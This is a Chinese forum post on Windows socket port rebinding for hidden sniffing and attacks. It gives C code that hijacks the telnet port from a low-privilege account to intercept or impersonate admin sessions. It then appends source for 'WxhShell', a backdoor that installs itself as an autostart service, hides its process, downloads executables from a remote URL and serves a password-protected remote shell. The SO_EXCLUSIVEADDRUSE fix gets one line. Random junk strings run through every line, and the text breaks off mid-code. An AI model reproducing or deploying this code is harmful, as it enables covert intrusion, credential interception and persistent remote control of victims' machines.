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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H- $)3"K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UeRj< \"Q  
Oeok ;:  
  saddr.sin_family = AF_INET; J@u;H$@/y  
v d[0X;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _ jsK}- \  
"yS _s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6ZP"p<xX  
qw^uPs7Uw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `7r@a  
p9x(D/YP0  
  这意味着什么?意味着可以进行如下的攻击: U[ 0=L`0e  
P(f0R8BE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V{!J-nO  
xsD($_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @"^0%/2-  
4GX-ma,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9J2NH|]c  
H["`Mn7j2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E S//  
uo@n(>}EL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TIQkW,  
;;#qmGoE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  @fl-3q  
{A05u3}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~=uWD&5B4  
& tg&5_  
  #include @}}$zv6l,  
  #include 2h5nMI]'  
  #include '/^qJ7eb  
  #include    $\X[@E S0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8@MV%MVy$  
  int main() )-a'{W/t  
  { %H]ptH5  
  WORD wVersionRequested; 8Dj c c z  
  DWORD ret; AP'*Nh@Ik(  
  WSADATA wsaData; lPw%ErG  
  BOOL val; iO|se:LY<  
  SOCKADDR_IN saddr; @$[?z9ck"  
  SOCKADDR_IN scaddr; \1D<!k\S  
  int err; 6WXRP;!Q  
  SOCKET s; _({hc+9p  
  SOCKET sc; Nn!+,;ut  
  int caddsize; W3MJr&p  
  HANDLE mt; `4=^cyt+  
  DWORD tid;   (|klSz_4LM  
  wVersionRequested = MAKEWORD( 2, 2 ); ChGYTn`X   
  err = WSAStartup( wVersionRequested, &wsaData ); g?z/2zKR  
  if ( err != 0 ) { S4Y&  
  printf("error!WSAStartup failed!\n"); H[,i{dD  
  return -1; $4h5rC g0  
  } QbkLdM,S*  
  saddr.sin_family = AF_INET; (^T F%(H  
   6jE |  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6e9,PS  
9g'LkP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *>7>g"  
  saddr.sin_port = htons(23); GpY"f c%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hYPl&^  
  { a, k'Vk{  
  printf("error!socket failed!\n"); [uC ]*G]  
  return -1; We$:&K0  
  } EofymAi%  
  val = TRUE; =,spvy'"*C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WA)yfo0A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A9I{2qW9+Z  
  { ^1iSn)&  
  printf("error!setsockopt failed!\n"); ,J,/."Y  
  return -1; iU$] {c2;A  
  } _}lZ,L(w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;RDh ~EV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C'\- @/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ub^h&= \S  
?pr9f5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {> eXR?s/  
  { -lbm* -(  
  ret=GetLastError(); zMbN;tu  
  printf("error!bind failed!\n"); XewVcRo  
  return -1; +T|JK7  
  } z>58dA@f  
  listen(s,2); R "n 5  
  while(1) l~c@^!  
  { hn5h\M?  
  caddsize = sizeof(scaddr); k;K)xb[w|  
  //接受连接请求 UK595n;P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LJd5;so-  
  if(sc!=INVALID_SOCKET) E7t+E)=8  
  { Aydm2!l1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vq2y4D?  
  if(mt==NULL) 6IBgt!=,  
  { |L%Z,:yO  
  printf("Thread Creat Failed!\n"); z.7cy@N6  
  break; =5J7Hw&K  
  } x2OaPlG,&V  
  } Aw}"gpL  
  CloseHandle(mt); [B+yyBtx  
  } q*U*Fu+  
  closesocket(s); |jI#"LbF  
  WSACleanup(); H5DC[bZMb%  
  return 0; }YB*]<]  
  }   l)G^cSHF.3  
  DWORD WINAPI ClientThread(LPVOID lpParam) l1T m`7}  
  { i!J8 d"  
  SOCKET ss = (SOCKET)lpParam; [$qyF|/K`n  
  SOCKET sc; *@Lp`thq  
  unsigned char buf[4096]; }+)fMZz  
  SOCKADDR_IN saddr; gp5_Z-me  
  long num; S?>HD|Z  
  DWORD val; 'Q|M'5'  
  DWORD ret; XG}C+;4Aw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RHmgD;7`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Ga\wV  
  saddr.sin_family = AF_INET; 6N!Q:x^4(T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g<l1zo`_  
  saddr.sin_port = htons(23);  'C`U"I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H\h3 TdL  
  { Id_2PkIN$~  
  printf("error!socket failed!\n"); 1,6}_MA  
  return -1; wG~`[>y (  
  } D&od?3}E  
  val = 100; ti5mIW\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P^ A!.}d  
  { tX5"UQA  
  ret = GetLastError(); W=j[V Oq  
  return -1; @OV|]u  
  } UYk/v]ZA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OBMTgZHxv  
  { ;|p BFKx  
  ret = GetLastError(); Y'1S`.  
  return -1; 3Ndq>  
  } RX>xB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4A8;tU$&  
  { /JFUU[W  
  printf("error!socket connect failed!\n"); Zo|.1pN  
  closesocket(sc); 419x+3>}  
  closesocket(ss); 1$D_6U:H0  
  return -1; qlb- jL  
  } 5 xppKt  
  while(1) mR&H9 NG  
  { G~Hzec{#tg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v/](yT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R%{ a1r>9h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TOkp%@9/  
  num = recv(ss,buf,4096,0); ZX>AE3wk  
  if(num>0) '9S8}q  
  send(sc,buf,num,0); B P2=2)Q  
  else if(num==0) Hc>m;[M)l  
  break; VRI0W`  
  num = recv(sc,buf,4096,0); @CTgT-0!  
  if(num>0) G`n_YH084  
  send(ss,buf,num,0); "/3 db[  
  else if(num==0) <QA6/Ef7  
  break; 8kU! 8^mH  
  } 2^y ^q2(r  
  closesocket(ss); pk^K:Xs}  
  closesocket(sc); %5eY'  
  return 0 ; &X|#R1\  
  } -n=^U  
#pb92kA'  
rf?qdd(~cH  
========================================================== 7[> 6i  
t/cY=Wp  
下边附上一个代码,,WXhSHELL 1`(tf6op  
()5[x.xK@  
========================================================== ?)kGA$m#  
g'H$R~ag  
#include "stdafx.h" jzDuE{  
?\t#1"d  
#include <stdio.h> {U1?Et#  
#include <string.h> 4Uphfzv3D  
#include <windows.h> h-G)o[MA  
#include <winsock2.h> (Dw,DY9  
#include <winsvc.h> q=%RDG+  
#include <urlmon.h> S 5/R_5  
E~]R2!9  
#pragma comment (lib, "Ws2_32.lib") $oj:e?8N  
#pragma comment (lib, "urlmon.lib") $6mX  
P(H8[,  
#define MAX_USER   100 // 最大客户端连接数 #73F} tZ^  
#define BUF_SOCK   200 // sock buffer |G?htZF  
#define KEY_BUFF   255 // 输入 buffer Q4+gAS9  
%k;|\%B`  
#define REBOOT     0   // 重启 SZ,YS 4M  
#define SHUTDOWN   1   // 关机 *M:B\ D  
)Xv ilCk1  
#define DEF_PORT   5000 // 监听端口 VFRi1\G  
M%ICdIc'  
#define REG_LEN     16   // 注册表键长度 :-/M?,Q"  
#define SVC_LEN     80   // NT服务名长度 t5y;CxL  
jN[`L%Qm   
// 从dll定义API $wo?!gt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $, ,op(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a0D%k:k5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *=(lyx_O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]j`c]2EuP  
-Z 4e.ay5  
// wxhshell配置信息 +y&Tf#.V/A  
struct WSCFG { >8k _n  
  int ws_port;         // 监听端口 nQ5n-A&["  
  char ws_passstr[REG_LEN]; // 口令 9{ >Ui  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5]AC*2(  
  char ws_regname[REG_LEN]; // 注册表键名 Bj1?x  
  char ws_svcname[REG_LEN]; // 服务名 -'t)=YJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?QFpv #4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @GdbTd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IOqwCD[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5@+,Xh,H|t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3HcQ(+Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VXR>]HUF  
? }kG`q  
}; {bJ`~b9e  
*7ZN]/VRT  
// default Wxhshell configuration 7f0lQ  
struct WSCFG wscfg={DEF_PORT, 6]W=nAD  
    "xuhuanlingzhe", f;W|\z'  
    1, mP0yk|  
    "Wxhshell", 3|'>`!hb  
    "Wxhshell", PH+S};Uxv  
            "WxhShell Service", '}B+r@YCN  
    "Wrsky Windows CmdShell Service", ^j31S*f&:  
    "Please Input Your Password: ", G 8g<>d{j  
  1, L?WFm n  
  "http://www.wrsky.com/wxhshell.exe", g*03{l#P  
  "Wxhshell.exe" \=:~ki=@B  
    }; ;C3US)j  
6W]9$n\"?  
// 消息定义模块 0n;< ge&~R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y5 *Z 3"<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B0dQ@Hq*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P<X\%_Iat  
char *msg_ws_ext="\n\rExit."; 7UVzp v  
char *msg_ws_end="\n\rQuit."; W4pL ,(S  
char *msg_ws_boot="\n\rReboot..."; E\as@pqo\p  
char *msg_ws_poff="\n\rShutdown..."; GP?M!C,/}k  
char *msg_ws_down="\n\rSave to "; =cm~vDl[  
]:4*L  
char *msg_ws_err="\n\rErr!"; 6{n!Cb[e  
char *msg_ws_ok="\n\rOK!"; yku5SEJ\  
Y }$/e  
char ExeFile[MAX_PATH]; p i %< Sy  
int nUser = 0; kEOS{C%6R  
HANDLE handles[MAX_USER]; lI*o@wQg  
int OsIsNt; [5G6VNh=  
1.D,W1s  
SERVICE_STATUS       serviceStatus; YKH\rN6X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K/i*w<aPb7  
x[h^[oF0  
// 函数声明 D~hg$XzK  
int Install(void); }1Gv)l7  
int Uninstall(void); i;/5Y'KZ  
int DownloadFile(char *sURL, SOCKET wsh); Y9uC&/_C  
int Boot(int flag); YH vLGc%  
void HideProc(void); 5*lT.  
int GetOsVer(void); wy0tgy(' |  
int Wxhshell(SOCKET wsl); /fZe WU0W  
void TalkWithClient(void *cs); 6-z%633DL  
int CmdShell(SOCKET sock); uE%r/:!k4$  
int StartFromService(void); "D63I|O)  
int StartWxhshell(LPSTR lpCmdLine); ]s'Q_wh_-v  
o]yl ;I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $c 0h. t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }uJu>'1[G  
3Dng 1}  
// 数据结构和表定义 -:|?h{q?u  
SERVICE_TABLE_ENTRY DispatchTable[] = "e.jZcN*  
{ {1 UQ/_  
{wscfg.ws_svcname, NTServiceMain}, ad*m%9Y1Q  
{NULL, NULL} j(m.$:  
}; (gP)%  
;j[>9g  
// 自我安装 ,\_1w  
int Install(void) ii T"5`KY  
{ ?[@J8  
  char svExeFile[MAX_PATH]; W42 iu"@  
  HKEY key; zHA!%>%'  
  strcpy(svExeFile,ExeFile); hQYL`Dni  
vB.E3r=  
// 如果是win9x系统,修改注册表设为自启动 )J2mM  
if(!OsIsNt) { y0sR6TY)f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0z1ifg&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [pbo4e,4O  
  RegCloseKey(key); OLyf8&AU@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -ws? "_w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^E;kgED5  
  RegCloseKey(key); 9IjIIM2y  
  return 0; [k.tWA,&  
    } |iakz|])  
  } ]{3)^axW;  
} Of*Pw[vD  
else { .nrMfl_  
zQcL|  (N  
// 如果是NT以上系统,安装为系统服务 v- 2:(I V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J1( 9QN[w  
if (schSCManager!=0) E{XH?_xo  
{ L-ET<'u  
  SC_HANDLE schService = CreateService 3O,+=?VK  
  ( +O8%Hm  
  schSCManager, smlpD3?va  
  wscfg.ws_svcname, "|EM;o  
  wscfg.ws_svcdisp, :ci5r;^  
  SERVICE_ALL_ACCESS, NCiW^#b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vc 1\i  
  SERVICE_AUTO_START, fz|cnU  
  SERVICE_ERROR_NORMAL, '*K:  lx  
  svExeFile, CyJEY-  
  NULL, ;Y 00TGU  
  NULL, uZNTHD  
  NULL, e%svrJ2   
  NULL, /a{la8Ni  
  NULL SW H2  
  ); qB5j;@ r  
  if (schService!=0) ). <-X^@  
  { 6Y^23W F  
  CloseServiceHandle(schService); ^H~h\,;zQ  
  CloseServiceHandle(schSCManager); n`#tKwWHYx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +9M^7/}H  
  strcat(svExeFile,wscfg.ws_svcname); X3{G:H0\p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *w|:~g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lf16j*}-Q  
  RegCloseKey(key); \d 6C%S!  
  return 0; IbT=8l,Li  
    } 8L, 5Q9 $  
  } vx1c,8  
  CloseServiceHandle(schSCManager); V[RF </2T  
} | z9*GY6RU  
} . k#U]M  
'9laa=H%8  
return 1; *QpMF/<?  
} b,5~b&<h  
/z4$gb7Y  
// 自我卸载 5y d MMb  
int Uninstall(void) aT{_0m$G10  
{ y=fx%~<> 8  
  HKEY key; { d=^}-^   
o m^0}$V  
if(!OsIsNt) { S'k_olx7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4QH3fTv   
  RegDeleteValue(key,wscfg.ws_regname); c?tBi9'Y]  
  RegCloseKey(key); Ok|*!!T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 hw=  
  RegDeleteValue(key,wscfg.ws_regname); dz:E?  
  RegCloseKey(key); AS!?q  
  return 0; &b.=M>\9Q  
  } cA2V2S)  
} n D0K).=Q  
} .~)q};Z  
else { 9{'N{  
R] vV*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KT_!d*  
if (schSCManager!=0) QCD .YFM  
{ #pT"BSz]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pj[PIz  
  if (schService!=0) "fQ~uzg="  
  { .!Qki@  
  if(DeleteService(schService)!=0) { O_2pIbh  
  CloseServiceHandle(schService); NvD7Krqwa  
  CloseServiceHandle(schSCManager); D|lzGt  
  return 0; FTH|9OP  
  } 61,;Uc\T  
  CloseServiceHandle(schService); )YYf1o[+  
  } tnV/xk#!  
  CloseServiceHandle(schSCManager); e{h<g>7  
} m.JBOq=  
}  Hu^1[#  
hjU::m,WX  
return 1; $'0u|Xy`  
} ZEXc%-M  
G|[=/>~B  
// 从指定url下载文件 \(3y7D  
int DownloadFile(char *sURL, SOCKET wsh) ~De"?  
{ ) mI05  
  HRESULT hr; _A M*@|p,  
char seps[]= "/"; >Y&N8PHD  
char *token; nxY\|@  
char *file; mH54ja2  
char myURL[MAX_PATH]; %OtFHhb  
char myFILE[MAX_PATH]; QgrpBG  
!!qK=V|>  
strcpy(myURL,sURL); CHdX;'`*  
  token=strtok(myURL,seps); hv)x=e<  
  while(token!=NULL) @+;$jRwq  
  { _U$<xVnP  
    file=token; v:EB*3n5  
  token=strtok(NULL,seps); )) Zf|86N  
  } G !<Z.]  
#&cI3i  
GetCurrentDirectory(MAX_PATH,myFILE); 1;d$#j  
strcat(myFILE, "\\"); 7@#>b E6  
strcat(myFILE, file); Qf58ig-vCY  
  send(wsh,myFILE,strlen(myFILE),0); _geWE0 E  
send(wsh,"...",3,0); A]y`7jJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }Dp*}=?E  
  if(hr==S_OK) w _u\pa  
return 0; g(nPQOs$u  
else Q0$8j-1I  
return 1; :fKl]XO  
+~St !QV%  
} *EI6dD"  
VJ84?b{c W  
// 系统电源模块 s J\BF  
int Boot(int flag) ]~844J p  
{ fTzvmC:g7  
  HANDLE hToken; I\hh8abAp  
  TOKEN_PRIVILEGES tkp; {Z{75}  
Twh!X*uQ  
  if(OsIsNt) { )W|w C#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FK6[>(QO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "-y-iJ  
    tkp.PrivilegeCount = 1; wWgWWXGT}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yZd +^QN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \:R%4w#Jv  
if(flag==REBOOT) { =6xrfDbN8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >PB4L_1  
  return 0; ?xK8#  
} Ytgcs( /$  
else { kSC}aN'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,?PTcQF  
  return 0; B! rTD5a  
} H /,gro  
  } ;V@WtZv  
  else { ko1J094Y%  
if(flag==REBOOT) { JROM_>mC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g$n7CXoT  
  return 0; l|xZk4@_uE  
} Q)"C&) `l  
else { aGK?x1_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -7m:91x  
  return 0; INUG*JC6  
} .#wqXRd  
} h"`ucC8X  
Cv }Qwy  
return 1; ktI/3Mb@  
} '"y|p+=j:  
X7[^s $VK  
// win9x进程隐藏模块 "~E[)^ANxD  
void HideProc(void) #u2J;9P  
{ `{,Dy!rL  
1D16   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DQMHOd7g  
  if ( hKernel != NULL ) 3Uqr,0$p  
  { '[J<=2&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); whonDG4WP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `IOs-%s  
    FreeLibrary(hKernel); ur*T%b9&  
  } 5'0xz.)!  
9Kg21-?  
return;  ~UyV<  
} Wf>zDW^"R  
iY`%SmB  
// 获取操作系统版本  XEC(P  
int GetOsVer(void) BQBeo&n6  
{ 9 Yx]=n  
  OSVERSIONINFO winfo; c<uN"/gi*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RbCPmiZcH  
  GetVersionEx(&winfo); df*5,NV'-*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h8 'v d3  
  return 1; 7~&/_3  
  else ,REJt  
  return 0; #BJG9DFP4`  
} {D!6%`HKV+  
7Q7-vx  
// 客户端句柄模块 V~S0hqW[  
int Wxhshell(SOCKET wsl) kgy:Q'  
{  ]E_h  
  SOCKET wsh; !1n8vzs"c  
  struct sockaddr_in client; :gerQz4R8  
  DWORD myID; jAy^J(+  
Jo$G,Q  
  while(nUser<MAX_USER) [~kdPk  
{ WZazJ=27}  
  int nSize=sizeof(client); i O/K nH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4&xZ]QC)O5  
  if(wsh==INVALID_SOCKET) return 1; cZH-"  
`Q+ (LBP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9Q(+ZG=JkV  
if(handles[nUser]==0) xfy1pS.[:  
  closesocket(wsh); uum;q-"  
else ^Y u6w\QM  
  nUser++; QYa(N[~a  
  } O=v#{ [  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !lxTX  
tniDF>Rb  
  return 0; TT50(_8  
} y_*PQZ$c<  
zUkN 0  
// 关闭 socket $={:r/R`i  
void CloseIt(SOCKET wsh) [cTe54n  
{  %ObLWH'  
closesocket(wsh); _<=S_ <$2  
nUser--; K+Z+wA?  
ExitThread(0); N2oRJ,:B  
} 1x @qkL6  
89n:)|rWq  
// 客户端请求句柄 B=>RH!&  
void TalkWithClient(void *cs) aO@ 7O*  
{ R)F;py8)I  
OkCQ?]  
  SOCKET wsh=(SOCKET)cs; %9k!A]KD  
  char pwd[SVC_LEN]; /n5F(5<  
  char cmd[KEY_BUFF]; `(1K  
char chr[1]; W%.v.0   
int i,j; ~XyW&@  
MZTx:EN!  
  while (nUser < MAX_USER) { Tneq6>  
by'DQ 00  
if(wscfg.ws_passstr) { |J+(:{ }~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n6*En7IVh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (RUT{)p[  
  //ZeroMemory(pwd,KEY_BUFF); b B  x?  
      i=0; 1G0fp:\w  
  while(i<SVC_LEN) { 1iX)d)(b  
/,MJq#@K  
  // 设置超时 Mn$]I) $  
  fd_set FdRead; HQUeWCN  
  struct timeval TimeOut; ybeKiv9  
  FD_ZERO(&FdRead); lqowG!3H  
  FD_SET(wsh,&FdRead); 2u"7T_"2D  
  TimeOut.tv_sec=8; uQ=^~K:Z~  
  TimeOut.tv_usec=0; a@@M+9Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >_c5r?]SG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  6\u!E~zy  
b{d4xU8'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7 ]z  
  pwd=chr[0]; rwniOQe  
  if(chr[0]==0xd || chr[0]==0xa) { }<>~sy  
  pwd=0; ZT[3aXS  
  break; /erN;Oo%<  
  } Fi. aC;sx  
  i++; &O)&k  
    } :LWn<,4F&  
!" JfOu  
  // 如果是非法用户,关闭 socket &n[~!%(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n4R2^gXAw  
} =\,uy8HX  
g ^!C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7_wJpTz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tzt,/e  
Wxk x,q?  
while(1) {  Og2vGzD  
iJv48#'ii  
  ZeroMemory(cmd,KEY_BUFF); GyW.2  
)-Ej5'iHr  
      // 自动支持客户端 telnet标准   9Ew7A(BG_3  
  j=0; b$Hz3T J(  
  while(j<KEY_BUFF) { /({;0I*!i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B_ja&) !s1  
  cmd[j]=chr[0]; q8Nn%o=5V  
  if(chr[0]==0xa || chr[0]==0xd) { \ A%eG&  
  cmd[j]=0; -/ x W  
  break; 6CC&Z>  
  } .6m "'m0;  
  j++; ]WUC:6x  
    } T *I?9d{k  
tu>{  
  // 下载文件 iB1i/l  
  if(strstr(cmd,"http://")) { "o&HE@t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n;8'`s  
  if(DownloadFile(cmd,wsh)) K9[e>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQ+dJ3b$  
  else U{~SXk'2+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ahNnCtu?1  
  } >r)X:K+I  
  else { QC0!p"  
Fl{WAg  
    switch(cmd[0]) { '4OcZ/oI  
  #fs|BV !  
  // 帮助 {%.Lk'#9  
  case '?': { 4KI [D{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sM\lO  
    break; dQgk.k  
  } aV`&L,Q)7E  
  // 安装 CKlL~f EL  
  case 'i': { [4+q+  
    if(Install()) 3+xy4 G@L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r]P,9  
    else $ P: O/O=>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ukuo:P<a  
    break; Jqr)V2Y  
    } _M,lQ~  
  // 卸载 ciMM^ZRIb  
  case 'r': { D H^T x  
    if(Uninstall()) 7OVbP%n)d2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I,ci >/+b  
    else ~%#mK:+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gVU1Y6.  
    break; 6<Hu8$G|  
    } PT9v*3Bq~  
  // 显示 wxhshell 所在路径 R4e&^tI@*  
  case 'p': { 8[bkHfI  
    char svExeFile[MAX_PATH]; DF1<JdO+  
    strcpy(svExeFile,"\n\r"); LS.r%:$mb  
      strcat(svExeFile,ExeFile); K(T\9J.  
        send(wsh,svExeFile,strlen(svExeFile),0); {13!vS%5  
    break; Vv*NFJ|  
    } T~gW3J  
  // 重启 VY+>=!  
  case 'b': { !asqr1/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5IqQ|/m<6  
    if(Boot(REBOOT)) fT Y/4(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O\OE0[[  
    else { {SG>'KXZ  
    closesocket(wsh); :Dl% _l  
    ExitThread(0); >_ X/[<  
    } X1A<$Am1  
    break; Vf-5&S&9  
    } Omag)U)IPh  
  // 关机 {.k)2{  
  case 'd': { 7;LO2<|1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S<6k0b(,_3  
